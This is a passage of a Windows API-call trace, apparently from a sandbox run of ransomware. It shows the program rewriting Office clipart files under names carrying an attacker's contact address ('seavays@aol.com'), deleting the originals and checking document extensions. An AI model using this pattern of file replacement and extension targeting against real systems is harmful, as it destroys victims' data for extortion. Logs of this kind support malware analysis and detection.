lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x20ae, lpOverlapped=0x0) returned 1 [0067.786] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x20b0, lpOverlapped=0x0) returned 1 [0067.787] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.787] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.788] SetEndOfFile (hFile=0x36c) returned 1 [0067.788] CloseHandle (hObject=0x36c) returned 1 [0067.789] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.789] SetEndOfFile (hFile=0x370) returned 1 [0067.790] CloseHandle (hObject=0x370) returned 1 [0067.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0067.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0067.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0067.791] lstrlenW (lpString=".doc") returned 4 [0067.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.791] lstrlenW (lpString=".docx") returned 5 [0067.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.791] lstrlenW (lpString=".pdf") returned 4 [0067.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.791] lstrlenW (lpString=".xls") returned 4 [0067.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.792] lstrlenW (lpString=".xlsx") returned 5 [0067.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.792] lstrlenW (lpString=".ppt") returned 4 [0067.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0067.792] lstrlenW (lpString=".zip") returned 4 [0067.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.792] lstrlenW (lpString=".rar") returned 4 [0067.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.792] lstrlenW (lpString=".bz2") returned 4 [0067.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.792] lstrlenW (lpString=".7z") returned 3 [0067.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0067.792] lstrlenW (lpString=".dbf") returned 4 [0067.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0067.792] lstrlenW (lpString=".1cd") returned 4 [0067.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0067.792] lstrlenW (lpString=".jpg") returned 4 [0067.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.794] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.794] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0067.794] GetLastError () returned 0x0 [0067.794] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1370, lpOverlapped=0x0) returned 1 [0067.796] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1380, lpOverlapped=0x0) returned 1 [0067.797] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.797] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.798] SetEndOfFile (hFile=0x36c) returned 1 [0067.798] CloseHandle (hObject=0x36c) returned 1 [0067.799] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.799] SetEndOfFile (hFile=0x370) returned 1 [0067.800] CloseHandle (hObject=0x370) returned 1 [0067.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0067.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0067.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0067.801] lstrlenW (lpString=".doc") returned 4 [0067.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.801] lstrlenW (lpString=".docx") returned 5 [0067.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.801] lstrlenW (lpString=".pdf") returned 4 [0067.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.801] lstrlenW (lpString=".xls") returned 4 [0067.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.801] lstrlenW (lpString=".xlsx") returned 5 [0067.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.801] lstrlenW (lpString=".ppt") returned 4 [0067.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0067.801] lstrlenW (lpString=".zip") returned 4 [0067.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.802] lstrlenW (lpString=".rar") returned 4 [0067.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.802] lstrlenW (lpString=".bz2") returned 4 [0067.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.802] lstrlenW (lpString=".7z") returned 3 [0067.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0067.802] lstrlenW (lpString=".dbf") returned 4 [0067.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0067.802] lstrlenW (lpString=".1cd") returned 4 [0067.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0067.802] lstrlenW (lpString=".jpg") returned 4 [0067.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.803] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.803] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0067.803] GetLastError () returned 0x0 [0067.803] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x31f4, lpOverlapped=0x0) returned 1 [0067.805] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3200, lpOverlapped=0x0) returned 1 [0067.807] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.807] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.807] SetEndOfFile (hFile=0x36c) returned 1 [0067.807] CloseHandle (hObject=0x36c) returned 1 [0067.808] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.809] SetEndOfFile (hFile=0x370) returned 1 [0067.811] CloseHandle (hObject=0x370) returned 1 [0067.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0067.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0067.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0067.812] lstrlenW (lpString=".doc") returned 4 [0067.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.812] lstrlenW (lpString=".docx") returned 5 [0067.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.812] lstrlenW (lpString=".pdf") returned 4 [0067.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.812] lstrlenW (lpString=".xls") returned 4 [0067.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.812] lstrlenW (lpString=".xlsx") returned 5 [0067.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.812] lstrlenW (lpString=".ppt") returned 4 [0067.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0067.813] lstrlenW (lpString=".zip") returned 4 [0067.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.813] lstrlenW (lpString=".rar") returned 4 [0067.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.813] lstrlenW (lpString=".bz2") returned 4 [0067.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.813] lstrlenW (lpString=".7z") returned 3 [0067.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0067.813] lstrlenW (lpString=".dbf") returned 4 [0067.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0067.813] lstrlenW (lpString=".1cd") returned 4 [0067.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0067.813] lstrlenW (lpString=".jpg") returned 4 [0067.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.814] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.814] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0067.815] GetLastError () returned 0x0 [0067.815] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xc20, lpOverlapped=0x0) returned 1 [0068.238] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xc30, lpOverlapped=0x0) returned 1 [0068.239] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.239] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.240] SetEndOfFile (hFile=0x36c) returned 1 [0068.240] CloseHandle (hObject=0x36c) returned 1 [0068.241] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.241] SetEndOfFile (hFile=0x370) returned 1 [0068.242] CloseHandle (hObject=0x370) returned 1 [0068.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0068.243] lstrlenW (lpString=".doc") returned 4 [0068.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.243] lstrlenW (lpString=".docx") returned 5 [0068.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.243] lstrlenW (lpString=".pdf") returned 4 [0068.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.243] lstrlenW (lpString=".xls") returned 4 [0068.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.244] lstrlenW (lpString=".xlsx") returned 5 [0068.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.244] lstrlenW (lpString=".ppt") returned 4 [0068.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0068.244] lstrlenW (lpString=".zip") returned 4 [0068.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.244] lstrlenW (lpString=".rar") returned 4 [0068.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.244] lstrlenW (lpString=".bz2") returned 4 [0068.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.244] lstrlenW (lpString=".7z") returned 3 [0068.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0068.244] lstrlenW (lpString=".dbf") returned 4 [0068.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0068.244] lstrlenW (lpString=".1cd") returned 4 [0068.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0068.244] lstrlenW (lpString=".jpg") returned 4 [0068.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.245] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.245] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0068.246] GetLastError () returned 0x0 [0068.246] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xaac, lpOverlapped=0x0) returned 1 [0068.247] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xab0, lpOverlapped=0x0) returned 1 [0068.249] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.249] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.249] SetEndOfFile (hFile=0x36c) returned 1 [0068.249] CloseHandle (hObject=0x36c) returned 1 [0068.252] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.252] SetEndOfFile (hFile=0x370) returned 1 [0068.253] CloseHandle (hObject=0x370) returned 1 [0068.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0068.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0068.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0068.254] lstrlenW (lpString=".doc") returned 4 [0068.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.254] lstrlenW (lpString=".docx") returned 5 [0068.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.254] lstrlenW (lpString=".pdf") returned 4 [0068.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.254] lstrlenW (lpString=".xls") returned 4 [0068.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.255] lstrlenW (lpString=".xlsx") returned 5 [0068.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.255] lstrlenW (lpString=".ppt") returned 4 [0068.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0068.255] lstrlenW (lpString=".zip") returned 4 [0068.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.255] lstrlenW (lpString=".rar") returned 4 [0068.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.255] lstrlenW (lpString=".bz2") returned 4 [0068.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.255] lstrlenW (lpString=".7z") returned 3 [0068.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0068.255] lstrlenW (lpString=".dbf") returned 4 [0068.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0068.255] lstrlenW (lpString=".1cd") returned 4 [0068.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0068.255] lstrlenW (lpString=".jpg") returned 4 [0068.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.257] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.257] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0068.257] GetLastError () returned 0x0 [0068.257] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1c08, lpOverlapped=0x0) returned 1 [0068.259] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0068.260] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.260] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.261] SetEndOfFile (hFile=0x36c) returned 1 [0068.261] CloseHandle (hObject=0x36c) returned 1 [0068.264] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.264] SetEndOfFile (hFile=0x370) returned 1 [0068.265] CloseHandle (hObject=0x370) returned 1 [0068.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0068.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0068.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0068.267] lstrlenW (lpString=".doc") returned 4 [0068.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.267] lstrlenW (lpString=".docx") returned 5 [0068.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.267] lstrlenW (lpString=".pdf") returned 4 [0068.267] lstrcmpiW (lpString1=".pdf", 